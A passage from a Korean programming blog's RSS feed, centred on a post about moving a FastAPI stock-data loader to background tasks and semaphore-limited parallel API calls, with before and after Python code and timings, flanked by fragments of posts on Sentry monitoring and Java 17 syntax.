&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2236&quot; data-origin-height=&quot;1252&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dQBhcE/dJMcaakSEfB/QEkgcRH3veCOPa6jkj9q6K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dQBhcE/dJMcaakSEfB/QEkgcRH3veCOPa6jkj9q6K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dQBhcE/dJMcaakSEfB/QEkgcRH3veCOPa6jkj9q6K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdQBhcE%2FdJMcaakSEfB%2FQEkgcRH3veCOPa6jkj9q6K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2236&quot; height=&quot;1252&quot; data-origin-width=&quot;2236&quot; data-origin-height=&quot;1252&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>기타</category>
      <category>Sentry</category>
      <category>모니터링</category>
      <category>오류 로그</category>
      <author>cob</author>
      <guid isPermaLink="true">https://cocococo.tistory.com/284</guid>
      <comments>https://cocococo.tistory.com/entry/%EB%AA%A8%EB%8B%88%ED%84%B0%EB%A7%81-Sentry-SaaS%EB%A5%BC-%EC%82%AC%EC%9A%A9%ED%95%9C-%EC%98%A4%EB%A5%98-%EB%AA%A8%EB%8B%88%ED%84%B0%EB%A7%81-%EB%B0%A9%EB%B2%95#entry284comment</comments>
      <pubDate>Wed, 6 May 2026 13:58:06 +0900</pubDate>
    </item>
    <item>
      <title>[파이썬 / 개선] 세마포어를 사용한 병렬 처리로 대규모 데이터 적재 최적화</title>
      <link>https://cocococo.tistory.com/entry/%ED%8C%8C%EC%9D%B4%EC%8D%AC-%EA%B0%9C%EC%84%A0-%EC%84%B8%EB%A7%88%ED%8F%AC%EC%96%B4%EB%A5%BC-%EC%82%AC%EC%9A%A9%ED%95%9C-%EB%B3%91%EB%A0%AC-%EC%B2%98%EB%A6%AC%EB%A1%9C-%EB%8C%80%EA%B7%9C%EB%AA%A8-%EB%8D%B0%EC%9D%B4%ED%84%B0-%EC%A0%81%EC%9E%AC-%EC%B5%9C%EC%A0%81%ED%99%94</link>
      <description>&lt;h3 style=&quot;border-left: #6164c6 10px solid; padding: 0.5em 0.5em; background: #eef3f9; margin: 0.5em 0em; font-weight: bold; border-radius: 0 25px 25px 0; box-shadow: 3px 3px 3px 3px rgb(163 159 159);&quot; data-ke-size=&quot;size23&quot;&gt;GitHub Code&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/kangilbin/AutoTrader/commit/ea453ef10f6677949221dd3ed8baf17111ccadbe&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://github.com/kangilbin/AutoTrader/commit/ea453ef10f6677949221dd3ed8baf17111ccadbe&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1757052008022&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;api 병렬 처리 &amp;middot; kangilbin/AutoTrader@ea453ef&quot; data-og-description=&quot;@@ -20,141 +19,126 @@ async def fetch_and_store_3_years_data(user_id: str, code: str, stock_data: dict&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/kangilbin/AutoTrader/commit/ea453ef10f6677949221dd3ed8baf17111ccadbe&quot; data-og-url=&quot;https://github.com/kangilbin/AutoTrader/commit/ea453ef10f6677949221dd3ed8baf17111ccadbe&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/M8Mwm/hyZIS7QQX4/bAZcV6ndlJkCTVLMDmVK81/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600,https://scrap.kakaocdn.net/dn/bJamXD/hyZGfjl4Yx/5Kvc4rvskyANnlUwbIiLEk/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600&quot;&gt;&lt;a href=&quot;https://github.com/kangilbin/AutoTrader/commit/ea453ef10f6677949221dd3ed8baf17111ccadbe&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/kangilbin/AutoTrader/commit/ea453ef10f6677949221dd3ed8baf17111ccadbe&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/M8Mwm/hyZIS7QQX4/bAZcV6ndlJkCTVLMDmVK81/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600,https://scrap.kakaocdn.net/dn/bJamXD/hyZGfjl4Yx/5Kvc4rvskyANnlUwbIiLEk/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;api 병렬 처리 &amp;middot; kangilbin/AutoTrader@ea453ef&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;@@ -20,141 +19,126 @@ async def fetch_and_store_3_years_data(user_id: str, code: str, stock_data: dict&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 class=&quot;custom-title&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. Issue - 대용량 API 데이터 처리 지연&lt;/b&gt;&lt;/h2&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;프로젝트 요구사항에 따라 3년치 일일 데이터를 외부 API에서 가져와 DB에 적재해야 했지만, 단순히 직렬로 처리할 경우, 데이터 양이 방대해 사용자가 요청 후 결과를 받기까지 대기 시간이 지나치게 길어지는 문제가 발생했다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 class=&quot;custom-title&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. Problem - 직렬 처리&amp;nbsp;&lt;/b&gt;&lt;b&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;데이터를 하나씩 순서대로 처리하다 보니 시간이 누적되어 결과 응답 늦어졌고, 동시에 많은 요청을 처리하려 하면 서버에 부담이 커져 외부 API의 호출 제한에 걸릴 위험이 있었다.&lt;br /&gt;&lt;b&gt;&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;✅&lt;span&gt; 직렬 처리로 인한 &lt;b&gt;성능 저하&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;✅ 사용자 응답 지연&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div style=&quot;color: #333333; text-align: center;&quot;&gt;
&lt;div id=&quot;aswift_4_host&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 class=&quot;custom-title&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. Solution - 백그라운드 실행 &amp;amp; 병렬 처리로 성능 개선&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;1) 백그라운드 실행하 사용자에게 즉시 응답&lt;/b&gt;&lt;/h3&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;asyncio.create_task&lt;/b&gt;를 사용해 데이터 적재 작업을 백그라운드에서 실행하도록 하고, 작업 상태를 확인할 수 있도록&amp;nbsp;설계했다.&lt;/blockquote&gt;
&lt;pre id=&quot;code_1757053484909&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;if stock_data[&quot;DATA_YN&quot;] != 'Y':
    # 3년 데이터 적재를 백그라운드에서 실행 (기존 DB 세션 전달)
    asyncio.create_task(fetch_and_store_3_years_data(swing_data.USER_ID, swing_data.ST_CODE, stock_data))

    # 스톡 데이터 상태를 즉시 업데이트 (백그라운드 작업 시작을 표시)
    stock_data[&quot;MOD_DT&quot;] = datetime.now(UTC)
    await update_stock(db, stock_data)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;2) 병렬 처리&lt;/b&gt;&lt;/h3&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;&amp;nbsp;syncio.Semaphore&amp;nbsp;&lt;/b&gt; 를 활용하여 동시에 실행되는 작업 수를 제한하고, 이를 통해 서버 자원 고갈이나 외부 API의 Rate Limit 문제를 방지하면서도, 직렬 처리에 비해 병렬성을 확보하여 데이터 적재 속도를 높이고 사용자 대기 시간을 효과적으로 줄였다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;AS-IS&lt;/h4&gt;
&lt;pre id=&quot;code_1753961550362&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;async def fetch_and_store_3_years_data(db: AsyncSession, user_id: str, code: str):
    start_time = time.time()  # 전체 시작 시간
    total_cnt = 0
    end_date = datetime.now(UTC).date()  # 오늘 날짜
    start_date = end_date - relativedelta(years=3)  # 3년 전 날짜
    current_date = start_date

    logging.info(f&quot;Starting 3-year data fetch for {code} from {start_date} to {end_date}&quot;)

    # 날짜 범위 개수 계산
    date_range_count = 0
    temp_date = start_date
    while temp_date &amp;lt; end_date:
        next_temp_date = temp_date + relativedelta(days=MAX_ITEMS_PER_REQUEST)
        if next_temp_date &amp;gt; end_date:
            next_temp_date = end_date
        date_range_count += 1
        temp_date = next_temp_date

    logging.info(f&quot;Total date ranges to process: {date_range_count}&quot;)

    while current_date &amp;lt; end_date:
        task_start_time = time.time()  # 개별 작업 시작 시간
        next_date = current_date + relativedelta(days=MAX_ITEMS_PER_REQUEST)
        if next_date &amp;gt; end_date:
            next_date = end_date

        try:
            response = await get_stock_data(user_id, code, current_date.strftime('%Y%m%d'), next_date.strftime('%Y%m%d'))

            if response and &quot;output2&quot; in response:
                # Bulk insert 저장
                # response 데이터를 List[dict] 형태로 변환하여 한번에 insert
                cnt = await insert_bulk_stock_hstr(db, response[&quot;output2&quot;], code)
                total_cnt += cnt
                
                task_time = time.time() - task_start_time
                logging.debug(f&quot;Processed {current_date} to {next_date}: {cnt} records in {task_time:.2f}s&quot;)
            else:
                task_time = time.time() - task_start_time
                logging.warning(f&quot;No data for {current_date} to {next_date} in {task_time:.2f}s&quot;)

        except Exception as e:
            task_time = time.time() - task_start_time
            logging.error(f&quot;Error processing {current_date} to {next_date} in {task_time:.2f}s: {e}&quot;)

        current_date = next_date

        await asyncio.sleep(1)  # API 서버 부하 방지

    # 전체 실행 시간 계산
    total_time = time.time() - start_time
    
    logging.info(f&quot;Completed 3-year data fetch for {code}&quot;)
    logging.info(f&quot;Total time: {total_time:.2f} seconds ({total_time/60:.2f} minutes)&quot;)
    logging.info(f&quot;Total records inserted: {total_cnt}&quot;)
    logging.info(f&quot;Average time per task: {total_time/date_range_count:.2f} seconds&quot;)
    logging.info(f&quot;Records per second: {total_cnt/total_time:.2f}&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2025-07-28 오후 10.19.43.png&quot; data-origin-width=&quot;1442&quot; data-origin-height=&quot;256&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tE2II/btsPCRmvT3s/5bPWjvEkoro6V0I1Qbpo51/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tE2II/btsPCRmvT3s/5bPWjvEkoro6V0I1Qbpo51/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tE2II/btsPCRmvT3s/5bPWjvEkoro6V0I1Qbpo51/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtE2II%2FbtsPCRmvT3s%2F5bPWjvEkoro6V0I1Qbpo51%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1442&quot; height=&quot;256&quot; data-filename=&quot;스크린샷 2025-07-28 오후 10.19.43.png&quot; data-origin-width=&quot;1442&quot; data-origin-height=&quot;256&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;TO-BE&lt;/p&gt;
&lt;pre id=&quot;code_1753961584772&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;MAX_ITEMS_PER_REQUEST = 100

# 3년 데이터 적재 (백그라운드 작업)
async def fetch_and_store_3_years_data(user_id: str, code: str, stock_data: dict):
    &quot;&quot;&quot;
    3년치 주식 데이터를 백그라운드에서 병렬로 가져와서 DB에 저장하는 배치 작업
    
    Args:
        user_id: 사용자 ID
        code: 주식 코드
        stock_data: 주식 메타 정보
        db: DB 세션 (호출자에서 전달받음)
    
    Returns:
        None
    &quot;&quot;&quot;
    async for db in get_db():
        try:
            # 상태 업데이트: 처리 중
            stock_data[&quot;DATA_YN&quot;] = 'P'
            stock_data[&quot;MOD_DT&quot;] = datetime.now(UTC)
            await update_stock(db, stock_data)
            logging.info(f&quot;Started background data fetch for {code}&quot;)

            start_time = time.time()
            total_cnt = 0
            end_date = datetime.now(UTC).date()
            start_date = end_date - relativedelta(years=3)
            current_date = start_date

            # 날짜 범위 생성
            date_ranges = []
            while current_date &amp;lt; end_date:
                next_date = current_date + relativedelta(days=MAX_ITEMS_PER_REQUEST)
                if next_date &amp;gt; end_date:
                    next_date = end_date
                date_ranges.append((current_date, next_date))
                current_date = next_date

            logging.info(f&quot;Created {len(date_ranges)} date ranges for {code}&quot;)

            # 동시 실행 제한 세마포어
            semaphore = asyncio.Semaphore(3)

            async def process_date_range(range_start, range_end):
                task_start_time = time.time()
                async with semaphore:
                    try:
                        response = await get_stock_data(user_id, code, range_start.strftime('%Y%m%d'), range_end.strftime('%Y%m%d'))
                        if response and &quot;output2&quot; in response:
                            api_data_count = len(response[&quot;output2&quot;])
                            task_time = time.time() - task_start_time
                            logging.debug(f&quot;API call completed for {range_start} to {range_end}: {api_data_count} records in {task_time:.2f}s&quot;)
                            return response[&quot;output2&quot;]  # 데이터만 반환
                        else:
                            logging.warning(f&quot;No data for {range_start} to {range_end}&quot;)
                            return None
                    except Exception as e:
                        logging.error(f&quot;Error processing {range_start} to {range_end}: {e}&quot;)
                        return None

            logging.info(f&quot;Processing all {len(date_ranges)} tasks in parallel&quot;)

            # 모든 태스크 실행
            tasks = [process_date_range(start, end) for start, end in date_ranges]
            results = await asyncio.gather(*tasks, return_exceptions=True)

            # 결과 정리 및 DB 저장 (기존 세션 재사용)
            successful_tasks = 0
            failed_tasks = 0
            total_cnt = 0

            # 기존 DB 세션으로 순차 저장
            for i, result in enumerate(results):
                if isinstance(result, Exception):
                    failed_tasks += 1
                    logging.error(f&quot;Task failed: {result}&quot;)
                elif result is not None:
                    try:
                        cnt = await insert_bulk_stock_hstr(db, result, code)
                        successful_tasks += 1
                        total_cnt += cnt
                        logging.debug(f&quot;DB insert completed for batch {i+1}: {cnt} records&quot;)
                    except Exception as db_error:
                        failed_tasks += 1
                        logging.error(f&quot;DB insert failed for batch {i+1}: {db_error}&quot;)
                else:
                    failed_tasks += 1

            total_time = time.time() - start_time
            logging.info(f&quot;Completed data fetch for {code}&quot;)
            logging.info(f&quot;Total time: {total_time:.2f}s ({total_time/60:.2f}min)&quot;)
            logging.info(f&quot;Successful: {successful_tasks}, Failed: {failed_tasks}&quot;)
            logging.info(f&quot;Total records: {total_cnt}, RPS: {total_cnt / total_time:.2f}&quot;)

            # 상태 업데이트: 완료
            stock_data[&quot;DATA_YN&quot;] = 'Y'
            stock_data[&quot;MOD_DT&quot;] = datetime.now(UTC)
            await update_stock(db, stock_data)
            logging.info(f&quot;Stock {code} updated to DATA_YN=Y&quot;)

            break  # 세션 루프 종료

        except Exception as e:
            try:
                if stock_data is not None:
                    stock_data[&quot;DATA_YN&quot;] = 'E'
                    stock_data[&quot;MOD_DT&quot;] = datetime.now(UTC)
                    await update_stock(db, stock_data)
                    logging.error(f&quot;Updated {code} to DATA_YN=E due to error: {e}&quot;)
                else:
                    logging.error(f&quot;stock_data is None; cannot update status for {code}&quot;)
            except Exception as update_error:
                logging.error(f&quot;Failed to update error status for {code}: {update_error}&quot;)

            logging.error(f&quot;Background fetch failed for {code}: {e}&quot;)
            raise&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2025-07-30 오후 8.51.46.png&quot; data-origin-width=&quot;654&quot; data-origin-height=&quot;124&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/DnX3K/btsPD12K4Jt/lzxBMeVI1yRkqwEWbAErfk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/DnX3K/btsPD12K4Jt/lzxBMeVI1yRkqwEWbAErfk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/DnX3K/btsPD12K4Jt/lzxBMeVI1yRkqwEWbAErfk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FDnX3K%2FbtsPD12K4Jt%2FlzxBMeVI1yRkqwEWbAErfk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;654&quot; height=&quot;124&quot; data-filename=&quot;스크린샷 2025-07-30 오후 8.51.46.png&quot; data-origin-width=&quot;654&quot; data-origin-height=&quot;124&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 class=&quot;custom-title&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Test 결과 - 3년 데이터 기준 처리 시간&lt;/b&gt;&lt;/h2&gt;
&lt;table style=&quot;color: #333333; text-align: start; border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-style=&quot;style13&quot; data-ke-align=&quot;alignLeft&quot; data-start=&quot;1352&quot; data-end=&quot;1495&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;background-color: #6ed3d8; color: #ffffff;&quot;&gt;구분&lt;/td&gt;
&lt;td style=&quot;background-color: #6ed3d8; color: #ffffff;&quot;&gt;처리 시간&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-start=&quot;1420&quot; data-end=&quot;1457&quot;&gt;
&lt;td style=&quot;background-color: #dcdddd;&quot; data-start=&quot;1420&quot; data-end=&quot;1438&quot; data-col-size=&quot;sm&quot;&gt;&lt;b&gt;AS-IS&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;기존 구조&lt;/td&gt;
&lt;td data-col-size=&quot;sm&quot; data-start=&quot;1438&quot; data-end=&quot;1457&quot;&gt;&lt;b&gt;14.16s (0.24 min)&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-start=&quot;1458&quot; data-end=&quot;1495&quot;&gt;
&lt;td style=&quot;background-color: #dcdddd;&quot; data-start=&quot;1458&quot; data-end=&quot;1476&quot; data-col-size=&quot;sm&quot;&gt;&lt;b&gt;TO-BE&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;개선 구조&lt;/td&gt;
&lt;td style=&quot;background-color: #f0f0f0;&quot; data-col-size=&quot;sm&quot; data-start=&quot;1476&quot; data-end=&quot;1495&quot;&gt;&lt;b&gt;1.87s (0.03 min)&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>이슈 해결</category>
      <category>create_task</category>
      <category>FastAPI</category>
      <category>Python</category>
      <category>Semaphore</category>
      <category>병렬처리</category>
      <author>cob</author>
      <guid isPermaLink="true">https://cocococo.tistory.com/283</guid>
      <comments>https://cocococo.tistory.com/entry/%ED%8C%8C%EC%9D%B4%EC%8D%AC-%EA%B0%9C%EC%84%A0-%EC%84%B8%EB%A7%88%ED%8F%AC%EC%96%B4%EB%A5%BC-%EC%82%AC%EC%9A%A9%ED%95%9C-%EB%B3%91%EB%A0%AC-%EC%B2%98%EB%A6%AC%EB%A1%9C-%EB%8C%80%EA%B7%9C%EB%AA%A8-%EB%8D%B0%EC%9D%B4%ED%84%B0-%EC%A0%81%EC%9E%AC-%EC%B5%9C%EC%A0%81%ED%99%94#entry283comment</comments>
      <pubDate>Fri, 5 Sep 2025 15:40:23 +0900</pubDate>
    </item>
    <item>
      <title>[JAVA] Java 17 기준 최신 문법</title>
      <link>https://cocococo.tistory.com/entry/JAVA-Java-17-%EA%B8%B0%EC%A4%80-%EC%B5%9C%EC%8B%A0-%EB%AC%B8%EB%B2%95</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-end=&quot;1845&quot; data-start=&quot;1497&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 40.2326%;&quot;&gt;기능&lt;/td&gt;
&lt;td style=&quot;width: 35.1163%;&quot;&gt;설명&amp;nbsp;&lt;/td&gt;
&lt;td style=&quot;width: 18.2558%;&quot;&gt;&amp;nbsp;Java 버전&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;1594&quot; data-start=&quot;1547&quot;&gt;
&lt;td style=&quot;width: 40.2326%;&quot; data-col-size=&quot;sm&quot; data-end=&quot;1569&quot; data-start=&quot;1547&quot;&gt;Text Blocks (&quot;&quot;&quot;)&lt;/td&gt;
&lt;td style=&quot;width: 35.1163%;&quot; data-end=&quot;1580&quot; data-start=&quot;1569&quot; data-col-size=&quot;sm&quot;&gt;멀티라인 문자열&lt;/td&gt;
&lt;td style=&quot;width: 18.2558%;&quot; data-end=&quot;1594&quot; data-start=&quot;1580&quot; data-col-size=&quot;sm&quot;&gt;Java 15 정식&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;1644&quot; data-start=&quot;1595&quot;&gt;
&lt;td style=&quot;width: 40.2326%;&quot; data-col-size=&quot;sm&quot; data-end=&quot;1615&quot; data-start=&quot;1595&quot;&gt;Switch Expression&lt;/td&gt;
&lt;td style=&quot;width: 35.1163%;&quot; data-end=&quot;1630&quot; data-start=&quot;1615&quot; data-col-size=&quot;sm&quot;&gt;값 반환형 switch&lt;/td&gt;
&lt;td style=&quot;width: 18.2558%;&quot; data-end=&quot;1644&quot; data-start=&quot;1630&quot; data-col-size=&quot;sm&quot;&gt;Java 14 정식&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;1682&quot; data-start=&quot;1645&quot;&gt;
&lt;td style=&quot;width: 40.2326%;&quot; data-col-size=&quot;sm&quot; data-end=&quot;1655&quot; data-start=&quot;1645&quot;&gt;Records&lt;/td&gt;
&lt;td style=&quot;width: 35.1163%;&quot; data-end=&quot;1668&quot; data-start=&quot;1655&quot; data-col-size=&quot;sm&quot;&gt;자동 DTO 클래스&lt;/td&gt;
&lt;td style=&quot;width: 18.2558%;&quot; data-end=&quot;1682&quot; data-start=&quot;1668&quot; data-col-size=&quot;sm&quot;&gt;Java 16 정식&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;1755&quot; data-start=&quot;1683&quot;&gt;
&lt;td style=&quot;width: 40.2326%;&quot; data-col-size=&quot;sm&quot; data-end=&quot;1717&quot; data-start=&quot;1683&quot;&gt;Pattern Matching for instanceof&lt;/td&gt;
&lt;td style=&quot;width: 35.1163%;&quot; data-end=&quot;1741&quot; data-start=&quot;1717&quot; data-col-size=&quot;sm&quot;&gt;instanceof + 형변환 생략&lt;/td&gt;
&lt;td style=&quot;width: 18.2558%;&quot; data-end=&quot;1755&quot; data-start=&quot;1741&quot; data-col-size=&quot;sm&quot;&gt;Java 16 정식&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;1806&quot; data-start=&quot;1756&quot;&gt;
&lt;td style=&quot;width: 40.2326%;&quot; data-col-size=&quot;sm&quot; data-end=&quot;1773&quot; data-start=&quot;1756&quot;&gt;Sealed Classes&lt;/td&gt;
&lt;td style=&quot;width: 35.1163%;&quot; data-end=&quot;1792&quot; data-start=&quot;1773&quot; data-col-size=&quot;sm&quot;&gt;상속 가능한 하위 클래스 제한&lt;/td&gt;
&lt;td style=&quot;width: 18.2558%;&quot; data-end=&quot;1806&quot; data-start=&quot;1792&quot; data-col-size=&quot;sm&quot;&gt;Java 17 정식&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;1845&quot; data-start=&quot;1807&quot;&gt;
&lt;td style=&quot;width: 40.2326%;&quot; data-col-size=&quot;sm&quot; data-end=&quot;1817&quot; data-start=&quot;1807&quot;&gt;var 키워드&lt;/td&gt;
&lt;td style=&quot;width: 35.1163%;&quot; data-end=&quot;1831&quot; data-start=&quot;1817&quot; data-col-size=&quot;sm&quot;&gt;지역 변수 타입 추론&lt;/td&gt;
&lt;td style=&quot;width: 18.2558%;&quot; data-end=&quot;1845&quot; data-start=&quot;1831&quot; data-col-size=&quot;sm&quot;&gt;Java 10 정식&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 class=&quot;custom-title&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 텍스트 블록 (Text Block)&lt;/b&gt;&lt;/h2&gt;
